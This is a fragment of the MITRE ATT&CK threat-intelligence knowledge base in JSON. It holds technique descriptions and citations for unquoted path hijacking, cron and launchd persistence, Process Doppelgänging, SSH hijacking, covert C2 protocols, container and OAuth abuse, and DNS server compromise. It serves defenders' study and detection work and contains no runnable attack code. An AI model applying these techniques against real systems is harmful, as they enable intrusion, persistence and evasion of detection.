                    "description": "absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.",
                    "url": "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/"
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                {
                    "source_name": "Windows Unquoted Services",
                    "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018.",
                    "url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/"
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                {
                    "source_name": "Help eliminate unquoted path",
                    "description": "Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012.",
                    "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464"
                },
                {
                    "source_name": "Microsoft CurrentControlSet Services",
                    "description": "Microsoft. (2017, April 20). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved March 16, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree"
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            "description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.",
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            "created": "2021-03-17T20:32:13.793Z",
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                    "url": "https://attack.mitre.org/techniques/T1608/003",
                    "external_id": "T1608.003"
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                {
                    "source_name": "DigiCert Install SSL Cert",
                    "description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.",
                    "url": "https://www.digicert.com/kb/ssl-certificate-installation.htm"
                },
                {
                    "source_name": "Splunk Kovar Certificates 2017",
                    "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
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            "name": "Install Digital Certificate",
            "description": "Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)\n\nAdversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. \n\nAdversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).",
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            "created": "2017-12-14T16:46:06.044Z",
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                    "external_id": "T1168"
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                {
                    "source_name": "Die.net Linux crontab Man Page",
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                    "url": "https://linux.die.net/man/5/crontab"
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                {
                    "source_name": "Die.net Linux at Man Page",
                    "description": "Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December 19, 2017.",
                    "url": "https://linux.die.net/man/1/at"
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                    "source_name": "AppleDocs Scheduling Timed Jobs",
                    "description": "Apple. (n.d.). Retrieved July 17, 2017.",
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                {
                    "source_name": "Janicab",
                    "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.",
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                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
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                {
                    "source_name": "Malware Persistence on OS X",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
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                {
                    "source_name": "Avast Linux Trojan Cron Persistence",
                    "description": "Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan hiding itself with an embedded rootkit. Retrieved January 8, 2018.",
                    "url": "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/"
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            "description": "On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n### cron\n\nSystem-wide cron jobs are installed by modifying <code>/etc/crontab</code> file, <code>/etc/cron.d/</code> directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.",
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                    "source_name": "setuid man page",
                    "description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.",
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                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
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                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
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                    "source_name": "capec",
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                    "source_name": "Lee 2013",
                    "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.",
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                {
                    "source_name": "US-CERT Alert TA15-314A Web Shells",
                    "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.",
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                    "external_id": "T1186"
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                    "source_name": "Microsoft TxF",
                    "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx"
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                {
                    "source_name": "Microsoft Basic TxF Concepts",
                    "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx"
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                    "source_name": "Microsoft Where to use TxF",
                    "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx"
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                    "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017",
                    "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.",
                    "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf"
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                {
                    "source_name": "hasherezade Process Doppelg\u00e4nging Dec 2017",
                    "description": "hasherezade. (2017, December 18). Process Doppelg\u00e4nging \u2013 a new way to impersonate a process. Retrieved December 20, 2017.",
                    "url": "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/"
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                {
                    "source_name": "Microsoft PsSetCreateProcessNotifyRoutine routine",
                    "description": "Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.",
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            "description": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelg\u00e4nging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.",
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            "created": "2018-01-16T16:13:52.465Z",
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                    "external_id": "T1184"
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                {
                    "source_name": "Slideshare Abusing SSH",
                    "description": "Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.",
                    "url": "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219"
                },
                {
                    "source_name": "SSHjack Blackhat",
                    "description": "Adam Boileau. (2005, August 5). Trust Transience:  Post Intrusion SSH Hijacking. Retrieved December 19, 2017.",
                    "url": "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf"
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                {
                    "source_name": "Clockwork SSH Agent Hijacking",
                    "description": "Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.",
                    "url": "https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking"
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                {
                    "source_name": "Welivesecurity Ebury SSH",
                    "description": "M.L\u00e9veill\u00e9, M. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved January 8, 2018.",
                    "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/"
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            "description": "Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).",
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                {
                    "source_name": "Darkside Ransomware Cybereason",
                    "description": "Cybereason Nocturnus. (2021, April 1). Cybereason vs. Darkside Ransomware. Retrieved August 18, 2021.",
                    "url": "https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware"
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                    "source_name": "Securelist JSWorm",
                    "description": "Fedor Sinitsyn. (2021, May 25). Evolution of JSWorm Ransomware. Retrieved August 18, 2021.",
                    "url": "https://securelist.com/evolution-of-jsworm-ransomware/102428/"
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                {
                    "source_name": "CrowdStrike Ryuk January 2019",
                    "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/"
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                {
                    "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018",
                    "description": "Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.",
                    "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/"
                },
                {
                    "source_name": "Malware System Language Check",
                    "description": "Pierre-Marc Bureau. (2009, January 15). Malware Trying to Avoid Some Countries. Retrieved August 18, 2021.",
                    "url": "https://www.welivesecurity.com/2009/01/15/malware-trying-to-avoid-some-countries/"
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            "id": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "created": "2017-05-31T21:31:10.728Z",
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                    "url": "https://attack.mitre.org/techniques/T1095",
                    "external_id": "T1095"
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                {
                    "source_name": "Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023",
                    "description": "Alexander Marvi, Brad Slaybaugh, Ron Craft, and Rufus Brown. (2023, June 13). VMware ESXi Zero-Day Used by Chinese Espionage Actor to Perform Privileged Guest Operations on Compromised Hypervisors. Retrieved March 26, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/vmware-esxi-zero-day-bypass/"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                },
                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
                },
                {
                    "source_name": "Microsoft ICMP",
                    "description": "Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics. Retrieved December 1, 2014.",
                    "url": "http://support.microsoft.com/KB/170292"
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
                },
                {
                    "source_name": "Wikipedia OSI",
                    "description": "Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved December 4, 2014.",
                    "url": "http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29"
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            "name": "Non-Application Layer Protocol",
            "description": "Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.\n\nIn ESXi environments, adversaries may leverage the Virtual Machine Communication Interface (VMCI) for communication between guest virtual machines and the ESXi host. This traffic is similar to client-server communications on traditional network sockets but is localized to the physical machine running the ESXi host, meaning it does not traverse external networks (routers, switches). This results in communications that are invisible to external monitoring and standard networking tools like tcpdump, netstat, nmap, and Wireshark. By adding a VMCI backdoor to a compromised ESXi host, adversaries may persistently regain access from any guest VM to the compromised ESXi host\u2019s backdoor, regardless of network segmentation or firewall rules in place.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023)",
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            "created": "2017-05-31T21:30:59.339Z",
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                    "url": "https://attack.mitre.org/techniques/T1075",
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                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/644.html",
                    "external_id": "CAPEC-644"
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                {
                    "source_name": "NSA Spotting",
                    "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.",
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                    "url": "https://attack.mitre.org/techniques/T1059/013",
                    "external_id": "T1059.013"
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                {
                    "source_name": "Docker Desktop CLI",
                    "description": "dockerdocs. (n.d.). Use the Docker Desktop CLI. Retrieved October 21, 2025.",
                    "url": "https://docs.docker.com/desktop/features/desktop-cli/"
                },
                {
                    "source_name": "Cisco Talos Blog",
                    "description": "Jaeson Schultz, Darin Smith. (2022, April 21). TeamTNT Targeting AWS, Alibaba. Retrieved June 15, 2025.",
                    "url": "https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"
                },
                {
                    "source_name": "Intezer",
                    "description": "Nicole Fishbein. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved June 15, 2025.",
                    "url": "https://intezer.com/blog/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/"
                },
                {
                    "source_name": "aquasec",
                    "description": "Ofek Itach, Assaf Morag. (2023, July 13). TeamTNT Reemerged with New Aggressive Cloud Campaign. Retrieved June 15, 2025.",
                    "url": "https://www.aquasec.com/blog/teamtnt-reemerged-with-new-aggressive-cloud-campaign/"
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            "name": "Container CLI/API",
            "description": "Adversaries may abuse built-in CLI tools or API calls to execute malicious commands in containerized environments.\n\nThe Docker CLI is used for managing containers via an exposed API point from the `dockerd` daemon. Some common examples of Docker CLI include Docker Desktop CLI and Docker Compose, but users are also able to use SDKs to interact with the API. For example, Docker SDK for Python can be used to run commands within a Python application.(Citation: Docker Desktop CLI)\n\nAdversaries may leverage the Docker CLI, API, or SDK to pull or build Docker images (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Build Image on Host](https://attack.mitre.org/techniques/T1612)), run containers (i.e., [Deploy Container](https://attack.mitre.org/techniques/T1610)), or execute commands inside running containers (i.e., [Container Administration Command](https://attack.mitre.org/techniques/T1609)). In some cases, threat actors may pull legitimate images that include scripts or tools that they can leverage - for example, using an image that includes the `curl` command to download payloads.(Citation: Intezer) Adversaries may also utilize `docker inspect` and `docker ps` to scan for cloud environment variables and other running containers (i.e., [Container and Resource Discovery](https://attack.mitre.org/techniques/T1613)).(Citation: Cisco Talos Blog)(Citation: aquasec)\n\nKubernetes is responsible for the management and orchestration of containers across clusters. The Kubernetes control plane, which manages the state of the cluster and is responsible for scheduling, communication, and resource monitoring, can be invoked directly via the API or indirectly via CLI tools such as `kubectl`. It may also be accessed within client libraries such as Go or Python. By utilizing the API, administrators can interact with resources within the cluster such as listing or creating pods, which is a group of one or more containers. Adversaries call the API server via `curl` or other tools, allowing them to obtain further information about the environment such as pods, deployments, daemonsets, namespaces, or sysvars.(Citation: aquasec) They may also run various commands regarding resource management.",
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            "id": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916",
            "created": "2020-02-05T14:28:16.719Z",
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                    "url": "https://attack.mitre.org/techniques/T1027/003",
                    "external_id": "T1027.003"
                },
                {
                    "source_name": "McAfee Malicious Doc Targets Pyeongchang Olympics",
                    "description": "Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/"
                },
                {
                    "source_name": "Wikipedia Duqu",
                    "description": "Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.",
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            "name": "Steganography",
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                    "url": "https://attack.mitre.org/techniques/T1584/002",
                    "external_id": "T1584.002"
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                {
                    "source_name": "FireEye DNS Hijack 2019",
                    "description": "Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html"
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                {
                    "source_name": "Crowdstrike DNS Hijack 2019",
                    "description": "Matt Dahl. (2019, January 25). Widespread DNS Hijacking Activity Targets Multiple Sectors. Retrieved February 14, 2022.",
                    "url": "https://www.crowdstrike.com/blog/widespread-dns-hijacking-activity-targets-multiple-sectors/"
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                {
                    "source_name": "Talos DNSpionage Nov 2018",
                    "description": "Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.",
                    "url": "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html"
                },
                {
                    "source_name": "CiscoAngler",
                    "description": "Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved March 6, 2017.",
                    "url": "https://blogs.cisco.com/security/talos/angler-domain-shadowing"
                },
                {
                    "source_name": "Proofpoint Domain Shadowing",
                    "description": "Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved October 16, 2020.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows"
                },
                {
                    "source_name": "CyberCX SaaS Domain Hijacking 2025",
                    "description": "Tony Mau. (2025, May 29). Keys to the (SaaS) kingdom. Retrieved May 30, 2025.",
                    "url": "https://cybercx.com.au/blog/keys-to-the-saas-kingdom/"
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            "name": "DNS Server",
            "description": "Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\n\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019)  Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Alternatively, they may be able to prove ownership of a domain to a SaaS service in order to assert control of the service or create a new administrative [Cloud Account](https://attack.mitre.org/techniques/T1136/003).(Citation: CyberCX SaaS Domain Hijacking 2025) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)",
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                {
                    "source_name": "Wiz Midnight Blizzard 2024",
                    "description": "Lior Sonntag. (2024, February 8). Midnight Blizzard attack on Microsoft corporate environment: a detailed analysis, detections and recommendations. Retrieved March 20, 2025.",
                    "url": "https://www.wiz.io/blog/midnight-blizzard-microsoft-breach-analysis-and-best-practices"
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                {
                    "source_name": "Push Security SaaS Persistence 2022",
                    "description": "Luke Jennings. (2022, November 29). Maintaining persistent access in a SaaS-first world. Retrieved March 20, 2025.",
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                {
                    "source_name": "Push Security Slack Persistence 2023",
                    "description": "Luke Jennings. (2023, October 24). Slack Attack: A phisher's guide to persistence and lateral movement. Retrieved March 20, 2025.",
                    "url": "https://pushsecurity.com/blog/phishing-slack-persistence/"
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                {
                    "source_name": "Microsoft Malicious OAuth Applications 2022",
                    "description": "Microsoft Threat Intelligence. (2022, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 20, 2025.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-OAuth-applications-used-to-compromise-email-servers-and-spread-spam/"
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                    "source_name": "Microsoft Entra ID Service Principals",
                    "description": "Microsoft. (2023, December 15). Application and service principal objects in Microsoft Entra ID. Retrieved February 28, 2024.",
                    "url": "https://learn.microsoft.com/en-us/entra/identity-platform/app-objects-and-service-principals?tabs=browser"
                },
                {
                    "source_name": "SaaS Attacks GitHub Evil Twin Integrations",
                    "description": "Push Security. (n.d.). Evil twin integrations. Retrieved March 20, 2025.",
                    "url": "https://github.com/pushsecurity/saas-attacks/blob/main/techniques/evil_twin_integrations/description.md"
                },
                {
                    "source_name": "Huntress Persistence Microsoft 365 Compromise 2024",
                    "description": "Sharon Martin. (2024, November 5). Legitimate Apps as Traitorware for Persistent Microsoft 365 Compromise. Retrieved March 20, 2025.",
                    "url": "https://www.huntress.com/blog/legitimate-apps-as-traitorware-for-persistent-microsoft-365-compromise"
                },
                {
                    "source_name": "Synes Cyber Corner Malicious Azure Application 2023",
                    "description": "syne0. (2023, July 10). Malicious Azure Application PERFECTDATA SOFTWARE and Microsoft 365 Business Email Compromise. Retrieved March 20, 2025.",
                    "url": "https://cybercorner.tech/malicious-azure-application-perfectdata-software-and-office365-business-email-compromise/"
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            "name": "Cloud Application Integration",
            "description": "Adversaries may achieve persistence by leveraging OAuth application integrations in a software-as-a-service environment. Adversaries may create a custom application, add a legitimate application into the environment, or even co-opt an existing integration to achieve malicious ends.(Citation: Push Security SaaS Persistence 2022)(Citation: SaaS Attacks GitHub Evil Twin Integrations)\n\nOAuth is an open standard that allows users to authorize applications to access their information on their behalf. In a SaaS environment such as Microsoft 365 or Google Workspace, users may integrate applications to improve their workflow and achieve tasks.  \n\nLeveraging application integrations may allow adversaries to persist in an environment \u2013 for example, by granting consent to an application from a high-privileged adversary-controlled account in order to maintain access to its data, even in the event of losing access to the account.(Citation: Wiz Midnight Blizzard 2024)(Citation: Microsoft Malicious OAuth Applications 2022)(Citation: Huntress Persistence Microsoft 365 Compromise 2024) In some cases, integrations may remain valid even after the original consenting user account is disabled.(Citation: Push Security Slack Persistence 2023) Application integrations may also allow adversaries to bypass multi-factor authentication requirements through the use of [Application Access Token](https://attack.mitre.org/techniques/T1550/001)s. Finally, they may enable persistent [Automated Exfiltration](https://attack.mitre.org/techniques/T1020) over time.(Citation: Synes Cyber Corner Malicious Azure Application 2023)\n\nCreating or adding a new application may require the adversary to create a dedicated [Cloud Account](https://attack.mitre.org/techniques/T1136/003) for the application and assign it [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) \u2013 for example, in Microsoft 365 environments, an application can only access resources via an associated service principal.(Citation: Microsoft Entra ID Service Principals)  ",
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                    "url": "https://attack.mitre.org/techniques/T1001/003",
                    "external_id": "T1001.003"
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                    "source_name": "Malleable-C2-U42",
                    "description": "Chris Navarrete Durgesh Sangvikar Andrew Guan Yu Fu Yanhui Jia Siddhart Shibiraj. (2022, March 16). Cobalt Strike Analysis and Tutorial: How Malleable C2 Profiles Make Cobalt Strike Difficult to Detect. Retrieved September 24, 2024.",
                    "url": "https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/"
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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                    "source_name": "ESET Okrum July 2019",
                    "description": "Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020.",
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            "description": "Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic.  \n\nAdversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. \n\nAdversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.(Citation: ESET Okrum July 2019)(Citation: Malleable-C2-U42)",
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                    "external_id": "T1012"
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                    "source_name": "Wikipedia Windows Registry",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                    "source_name": "Microsoft WinRM",
                    "description": "Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/aa384426"
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                    "source_name": "Jacobsen 2014",
                    "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell&#91;slides&#93;. Retrieved November 12, 2014.",
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                {
                    "source_name": "Medium Detecting Lateral Movement",
                    "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.",
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            "created": "2020-01-30T17:48:49.395Z",
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                    "url": "https://attack.mitre.org/techniques/T1550/004",
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                {
                    "source_name": "Unit 42 Mac Crypto Cookies January 2019",
                    "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"
